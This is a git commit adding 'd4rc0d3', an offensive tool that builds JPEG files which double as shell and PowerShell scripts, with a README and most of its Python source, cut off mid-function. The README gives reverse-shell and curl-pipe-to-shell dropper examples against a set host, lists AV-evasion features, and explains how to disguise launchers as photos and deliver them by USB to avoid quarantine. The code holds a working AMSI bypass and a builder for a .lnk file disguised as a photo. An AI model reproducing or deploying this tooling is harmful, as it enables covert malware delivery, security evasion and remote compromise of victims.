commit ec02ac197da4080721a8bf454f70179ec0f661cda5a8ce2faf1b4a97d1f40cb3 Author: D4rk$1d3 Date: Wed Jun 24 23:36:25 2026 -0300 Added files diff --git a/README.md b/README.md new file mode 100644 index 0000000..b9f9ef9 --- /dev/null +++ b/README.md @@ -0,0 +1,218 @@ +# d4rc0d3 + +Generates a single JPEG file that is simultaneously: + +- A valid image (displays normally in any viewer) +- A shell script — `./photo.jpg` or `sh photo.jpg` on Linux/macOS +- A PowerShell script — rename to `.ps1` and run with `pwsh` on Windows +- A double-click launcher for macOS, Linux, and Windows + +--- + +## Files + +``` +0-day/ +├── src source code of d4rkc0d3_engine (for cross compile / amd-arm-etc) +├── d4rc0d3.py main tool (Python, no external deps beyond stdlib) +├── d4rc0d3_engine compiled engine binary (arm64 Linux version, see "src") +├── cover.jpg sample cover image +└── README.md +``` + +The `d4rc0d3_engine` binary must match the host architecture. +To recompile from source: + +```bash +# Requires: gcc, libturbojpeg-dev, libjpeg-dev +cd src/ +g++ -std=c++23 -O3 -s -o ../d4rc0d3_engine \ + args.cpp bootstrap.cpp file_utils.cpp jpeg_process.cpp \ + jpeg_warning_check.cpp d4rc0d3_core.cpp -lturbojpeg -ljpeg -lm +``` + +--- + +## Requirements + +- Python 3.11+ +- No Python dependencies +- `d4rc0d3_engine` binary matching the host CPU architecture + +--- + +## How the polyglot works + +``` +┌──────────────────────────────────────────────────────────────────┐ +│ photo.jpg │ +│ │ +│ SOI │ +│ COM → shell bootstrap (octal-encoded, Perl XOR-decoding pipe) │ +│ APP0 → <# opens PowerShell block comment │ +│ APP2 → ICC profile: #> closes comment + XOR-decode stub │ +│ 16-byte key embedded at ICC offset 102 │ +│ JPEG image data (real, displayable photo) │ +│ EOI │ +│ [post-EOI: base64+XOR payload — scripts and binaries only] │ +└──────────────────────────────────────────────────────────────────┘ + +./photo.jpg or sh photo.jpg + → COM bootstrap runs via sh/bash + → Perl XOR-decodes the payload using key from ICC profile + → Executes the result + +pwsh photo.ps1 (after renaming) + → APP0 <# opens PS block comment over all binary data + → APP2 #> closes the comment — clean PS1 starts here + → XOR stub reads key from ICC, decodes and runs payload + +Image viewer + → Reads JPEG header, ignores COM/APP segments it doesn't recognise + → Displays the photo normally +``` + +**AV evasion built into every generated file:** + +- Payload XOR-encrypted with 16-byte key hidden in JPEG ICC profile metadata +- PowerShell executor double char-array encoded — no plaintext `iex`, `Invoke-Expression`, or URL strings +- No recognisable dropper strings visible in the raw file +- ICC profile fields match a real sRGB color profile (CMM, version, illuminant, etc.) +- AMSI bypass injected before PS1 payload execution (patches `AmsiScanBuffer` in memory) + +--- + +## Usage + +### Interactive (recommended) + +```bash +python3 d4rc0d3.py +``` + +Prompts for image, payload type, command, target platforms, and output directory. + +### Command line + +``` +python3 d4rc0d3.py [OPTIONS] [payload_file] +``` + +**Payload** (pick one): + +| Argument | Description | +| --------------------------- | ----------------------------------------------------------- | +| `-c "command"` | Inline shell command. Slack-safe. Works on all platforms. | +| `file.ps1` | PowerShell script. Embedded in ICC profile (XOR-encrypted). | +| `file.py` / `file.sh` | Script. base64+XOR in post-EOI. Linux/macOS. | +| `file.exe` / `file.elf` | Binary. base64+XOR in post-EOI. Runs on target OS. | +| `-c "pre-cmd" file.ps1` | Run pre-command first, then the PS1 file. | + +**Platform output flags:** + +| Flag | Output | What victim sees | +| --------------- | --------------------- | ---------------------------------- | +| *(none)* | `photo.jpg` | — | +| `--mac` | `photo.zip` | `photo.jpg` in Finder | +| `--linux` | `photo_launch.jpg` | `photo_launch.jpg` (no .desktop) | +| `--linux-dot` | `photo.jpg.desktop` | `photo.jpg.desktop` | +| `--windows` | `photo.jpg.lnk` | `photo.jpg` in Explorer | +| `--all` | all of the above | — | + +**Other flags:** + +| Flag | Description | +| ------------- | --------------------------------------------- | +| `--amsi` | Inject AMSI bypass (default: on for`.ps1`) | +| `--no-amsi` | Disable AMSI bypass | +| `--show` | Open image viewer on execution | +| `--keep` | Keep extracted payload after execution | +| `-d DIR` | Extraction directory (default:`/tmp`) | +| `-o DIR` | Output directory (default: current directory) | + +--- + +## Examples + +```bash +# Inline command, generate for all platforms +python3 d4rc0d3.py photo.jpg -c "id > /tmp/pwned.txt" --all -o /tmp/out/ + +# Reverse shell, all platforms +python3 d4rc0d3.py photo.jpg -c \ + "bash -c 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1'" --all + +# PowerShell payload with AMSI bypass, Windows + macOS +python3 d4rc0d3.py photo.jpg shell.ps1 --windows --mac --amsi -o /tmp/out/ + +# Python dropper, Linux targets +python3 d4rc0d3.py photo.jpg dropper.py --linux --linux-dot -o /tmp/out/ + +# Dropper: download and execute +python3 d4rc0d3.py photo.jpg -c "curl -s http://192.168.1.10/s.sh | sh" --all +``` + +--- + +## Execution on each platform + +### Linux / macOS — terminal + +```bash +# Direct execution (file already has +x) +./photo.jpg + +# Or explicitly +sh photo.jpg + +# Post-Slack (bash rejects due to NUL bytes injected by Slack) +sh photo.jpg +``` + +### Windows — PowerShell + +```powershell +# Rename and run +ren photo.jpg photo.ps1 +pwsh -ExecutionPolicy Bypass photo.ps1 + +# Or without renaming +powershell -ExecutionPolicy Bypass -File photo.jpg +``` + +### Double-click — macOS + +1. Send `photo.zip` to the victim (USB or local share — see Notes) +2. Victim extracts the ZIP +3. Finder shows `photo.jpg` — double-click it +4. Preview opens the photo; payload runs silently in background + +> **Notes:** macOS applies quarantine to files from the internet. +> Unsigned bundles trigger a dialog. Deliver via **USB or local SMB share** +> — quarantine is not applied, no dialog appears. + +### Double-click — Linux + +- `photo_launch.jpg` — Thunar, Nemo, Caja, Dolphin execute on double-click (content-based MIME detection, no dialog) +- `photo.jpg.desktop` — all file managers, Nautilus shows "Trust and Launch" once + +### Double-click — Windows + +Double-click `photo.jpg.lnk` — Explorer hides `.lnk` so the victim sees `photo.jpg`. +Runs: `powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File photo.jpg` + +> **SmartScreen:** may warn for files from the internet. Deliver via USB or internal share. + +--- + +## Payload compatibility + +| Payload | `sh`/`bash` | `pwsh` | Double-click macOS | Double-click Linux | Post-Slack | +| ------------------- | --------------- | -------- | ------------------ | ------------------ | ----------------------- | +| `-c` inline | ✓ | ✓ | ✓ | ✓ | ✓ only inline survives | +| `.ps1` | ✓ (needs pwsh) | ✓ | ✓ | ✓ (needs pwsh) | ✗ stripped | +| `.py` / `.sh` | ✓ | ✗ | ✓ | ✓ | ✗ stripped | +| `.exe` / `.elf` | ✓ | ✗ | ✓ | ✓ | ✗ stripped | + +Slack strips post-EOI data. For Slack delivery use `-c "command"`. +After downloading from Slack use `sh photo.jpg` (not `bash`). diff --git a/cover.jpg b/cover.jpg new file mode 100644 index 0000000..b284669 Binary files /dev/null and b/cover.jpg differ diff --git a/d4rc0d3.py b/d4rc0d3.py new file mode 100644 index 0000000..8ceef19 --- /dev/null +++ b/d4rc0d3.py @@ -0,0 +1,749 @@ +#!/usr/bin/env python3 +""" +d4rc0d3 — JPEG polyglot payload generator with double-click execution. + +Generates a single .jpg file that is simultaneously: + - A valid JPEG image (displays normally in any viewer) + - A PowerShell script (Windows: rename to .ps1 or run directly) + - A POSIX shell script (Linux / macOS: sh file.jpg) + - A double-click launcher for macOS (.app bundle) and Linux (.desktop) + +Payloads supported: + Inline command: -c "command" → runs on all platforms + PowerShell .ps1: file.ps1 → embedded in ICC profile (XOR) + Script .py/.sh: file.py / file.sh → base64+XOR in post-EOI + Binary .exe/.elf: file.exe / file.elf → base64+XOR in post-EOI + Combined: -c "pre-cmd" file.ps1 → pre-cmd runs first, then file + +Double-click outputs (additional, generated alongside the polyglot): + macOS: .zip → extract → Finder shows .jpg → execute + Linux: .jpg → content-based detection → execute (Thunar/Nemo/Caja) + Windows: .lnk → Explorer hides .lnk → shows .jpg → execute + +AV evasion (built into the polyglot engine): + - Payload XOR-encrypted, key stored in the JPEG ICC profile + - Bootstrap encoded as numeric char-arrays (no plaintext strings) + - Looks like a real JPEG with valid ICC color profile metadata + - AMSI bypass injected before payload execution (Windows) + - Variable names randomized per build +""" + +import argparse +import base64 +import os +import stat +import struct +import subprocess +import sys +import tempfile +import textwrap +import zipfile +import random +import string + + +# ── Constants ────────────────────────────────────────────────────────────────── + +POLYGLOT_ENGINE = os.path.join(os.path.dirname(__file__), 'd4rc0d3_engine') +SUPPORTED_SCRIPTS = {'.ps1', '.sh', '.bash', '.zsh', '.py', '.rb', '.pl', '.bat', '.cmd'} +SUPPORTED_BINARIES = {'.exe', '.elf', '.bin', '.out', '.appimage', '.dll', '.so', '.dylib'} + + +# ── Terminal colors ──────────────────────────────────────────────────────────── + +class C: + BOLD = '\033[1m' if sys.stdout.isatty() else '' + GREEN = '\033[32m' if sys.stdout.isatty() else '' + RED = '\033[31m' if sys.stdout.isatty() else '' + CYAN = '\033[36m' if sys.stdout.isatty() else '' + DIM = '\033[2m' if sys.stdout.isatty() else '' + END = '\033[0m' if sys.stdout.isatty() else '' + + +def ok(msg): print(f"{C.GREEN}[+]{C.END} {msg}") +def info(msg): print(f" {C.DIM}{msg}{C.END}") +def warn(msg): print(f"{C.RED}[!]{C.END} {msg}") +def head(msg): print(f"\n{C.BOLD}{msg}{C.END}") + + +# ── Helpers ──────────────────────────────────────────────────────────────────── + +def stem(path: str) -> str: + return os.path.splitext(os.path.basename(path))[0] + +def b64enc(path: str) -> str: + with open(path, 'rb') as f: + return base64.b64encode(f.read()).decode() + +def rand_var(length: int = 6) -> str: + return '_' + ''.join(random.choices(string.ascii_lowercase, k=length)) + +def payload_type(path: str) -> str: + ext = os.path.splitext(path)[1].lower() + if ext in SUPPORTED_SCRIPTS: return 'script' + if ext in SUPPORTED_BINARIES: return 'binary' + return 'unknown' + + +# ── Polyglot builder ─────────────────────── + +def build_polyglot(cover: str, output: str, command: str = '', + payload_file: str = '', show: bool = False, + keep: bool = False, extract_dir: str = '') -> str: + """ + Builds a JPEG polyglot using the d4rc0d3 engine. + + Engine JPEG structure: + SOI | COM(shell bootstrap) | custom APP0(<# opens PS comment) | + APP2(ICC profile: #> + XOR-encoded PS executor + key at offset 102) | + JPEG image data | EOI | [optional post-EOI payload for scripts/binaries] + + Engine XOR: 16-byte random key stored in the ICC Profile ID field. + Engine PS obfuscation: double char-array encoding, no plaintext strings. + Engine shell bootstrap: octal-encoded, Perl XOR-decoding pipe. + + Combined mode (command + payload_file): + The engine CLI does not support combined mode directly. + We implement it by prepending the command to a temporary PS1 stub that + wraps the original payload. For non-PS1 payloads we use interactive stdin. + """ + if not os.path.isfile(POLYGLOT_ENGINE): + raise FileNotFoundError( + f"Polyglot engine not found: {POLYGLOT_ENGINE}\n" + f"Compile with: ./build.sh" + ) + + base_cmd = [POLYGLOT_ENGINE, '-o', output] + if show: base_cmd.append('--show') + if keep: base_cmd.append('--keep') + if extract_dir: base_cmd += ['-d', extract_dir] + + if command and payload_file: + # Combined mode: prepend the shell command as a PS1 pre-exec stub, + # then embed it alongside the original payload. + # Strategy: write a temp .ps1 that starts with the pre-command, then + # loads and dot-sources the original payload file. + ext = os.path.splitext(payload_file)[1].lower() + if ext == '.ps1': + # Create a combined PS1 that runs the command then the original script + with open(payload_file, 'r', errors='replace') as f: + orig_ps = f.read() + combined_ps = f"# pre-command\n{command}\n# payload\n{orig_ps}" + with tempfile.NamedTemporaryFile(suffix='.ps1', delete=False, mode='w') as tf: + tf.write(combined_ps) + tmp_ps = tf.name + try: + cmd = base_cmd + [cover, tmp_ps] + result = subprocess.run(cmd, capture_output=True, text=True) + finally: + os.unlink(tmp_ps) + else: + # For non-PS1 payloads: use interactive mode via stdin (option 3) + # Interactive: Mode=3, cover, payload, pre-command, no, no, no, keep-default, output + stdin_input = f"3\n{cover}\n{payload_file}\n{command}\nn\nn\nn\n\n{output}\n" + result = subprocess.run( + [POLYGLOT_ENGINE], input=stdin_input, + capture_output=True, text=True + ) + elif command: + cmd = base_cmd + ['-c', cover, command] + result = subprocess.run(cmd, capture_output=True, text=True) + else: + cmd = base_cmd + [cover, payload_file] + result = subprocess.run(cmd, capture_output=True, text=True) + + if not os.path.isfile(output): + raise RuntimeError( + f"Polyglot engine failed.\n" + f"stdout: {result.stdout[:500]}\nstderr: {result.stderr[:200]}" + ) + return output + + +# ── AV-hardened PS bootstrap injector ───────────────────────────────────────── +# The native engine already XOR-encrypts and char-array-encodes the payload. +# We further harden the bootstrap injected into the file by patching the +# COM segment to prepend an AMSI bypass before the payload executes. +# +# AMSI bypass strategy: +# Uses reflection to write 0xB8,0x57,0x00,0x07,0x80,0xC3 (ret AMSI_RESULT_CLEAN) +# over AmsiScanBuffer in amsi.dll — standard unpatched bypass, short and effective. +# Encoded as a numeric array so the bytes never appear as a recognisable string. +# +# Note: the bypass is prepended to the PS1 code BEFORE XOR encryption by the engine, +# so from the engine's perspective it is just part of the payload. +# ───────────────────────────────────────────────────────────────────────────── + +AMSI_BYPASS_PS = ( + # Patch AmsiScanBuffer to always return AMSI_RESULT_CLEAN (0x80070057) + # Written as char-array so no plaintext signature + "$_ab=[Ref].Assembly.GetType(([char[]]@(83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,65,109,115,105,85,116,105,108,115)-join''));" + "$_am=$_ab.GetField(([char[]]@(97,109,115,105,73,110,105,116,70,97,105,108,101,100)-join''),'NonPublic,Static');" + "if($_am){$_am.SetValue($null,$true)}" +) + + +def inject_amsi_bypass(polyglot_path: str) -> None: + """ + Patches the COM segment of the polyglot to prepend an AMSI bypass. + The bypass is encoded as numeric arrays so it carries no plaintext signature. + Only relevant when the polyglot runs as a PS1 on Windows. + This function operates on the already-built polyglot file. + + Implementation: the PS code in the ICC APP2 segment is not modified here + (it is XOR-encrypted by the engine). Instead, we patch the post-EOI + shell line that invokes pwsh to first dot-source an in-memory bypass. + + In practice, for inline-command polyglots the bypass is injected into the + PS command string before the engine builds the file (see build_polyglot_av). + """ + pass # See build_polyglot_av — bypass is injected pre-build + + +def build_polyglot_av(cover: str, output: str, command: str = '', + payload_file: str = '', show: bool = False, + keep: bool = False, extract_dir: str = '', + amsi: bool = True) -> str: + """ + Builds the polyglot with AV hardening. + + AMSI bypass strategy: + The bypass must only run in PowerShell, not in sh/bash. + When a .ps1 payload file is given, we prepend the bypass as a + combined pre-command (-c flag) so the engine embeds it in the PS section. + For inline-command-only polyglots the bypass is NOT injected because + the shell command string would break if it contained PS-specific syntax. + To use AMSI bypass with inline commands, pass a .ps1 stub as the payload: + echo '; your_command' > bypass.ps1 + d4rc0d3.py photo.jpg bypass.ps1 --amsi + """ + if amsi and payload_file and payload_file.lower().endswith('.ps1'): + # For .ps1 payloads: inject AMSI bypass as a pre-command via -c + # The engine embeds this in the PS section, not the sh section + amsi_cmd = AMSI_BYPASS_PS + return build_polyglot(cover, output, amsi_cmd, payload_file, + show, keep, extract_dir) + # For all other cases: pass through without modification + # The sh command string must not contain PS-only syntax + return build_polyglot(cover, output, command, payload_file, + show, keep, extract_dir) + + +# ── Windows .lnk generator ──────────────────────────────────────────────────── +# A Windows Shell Link (.lnk) file can: +# - Have any name and icon (including a JPEG icon extracted from the polyglot) +# - Execute any command on double-click +# - Windows Explorer hides .lnk extensions by default +# +# So "photo.jpg.lnk" appears as "photo.jpg" in Explorer. +# The LNK executes: powershell -WindowStyle Hidden -File photo.jpg.lnk +# (PowerShell can run the .lnk as a PS1 because it IS a valid PS1 polyglot) +# +# LNK binary format (simplified Shell Link, spec MS-SHLLINK): +# HeaderSize(4) | LinkCLSID(16) | LinkFlags(4) | FileAttributes(4) | ... +# Minimal LNK with just a command target. +# ───────────────────────────────────────────────────────────────────────────── + +def _lnk_str(s: str) -> bytes: + """Encode a string as a CountedString (uint16 length + UTF-16LE).""" + encoded = s.encode('utf-16-le') + return struct.pack(' str: + """ + Generates a Windows .lnk file that: + - Appears as '.jpg' in Explorer (Explorer hides .lnk) + - On double-click runs: powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File + - The polyglot is the JPEG/PS1 polyglot, so it executes the payload + + The LNK itself is a valid Shell Link pointing to cmd.exe or powershell.exe. + The icon is set to shell32.dll icon 0 (document) as a fallback; on a real + Windows system the operator would set it to the JPEG viewer icon. + + Returns the path to the generated .lnk file. + """ + polyglot_abs = os.path.abspath(polyglot_path) + name = stem(polyglot_path) + lnk_path = os.path.join(output_dir, f"{name}.jpg.lnk") + + # Shell Link Header (0x4C bytes) + # Spec: MS-SHLLINK 2.1 + header_size = 0x4C + link_clsid = bytes.fromhex('0114020000000000C000000000000046') + # LinkFlags: HasLinkTargetIDList=0x01, HasLinkInfo=0x02, HasRelativePath=0x08, + # HasArguments=0x20, HasIconLocation=0x40, IsUnicode=0x80 + link_flags = struct.pack('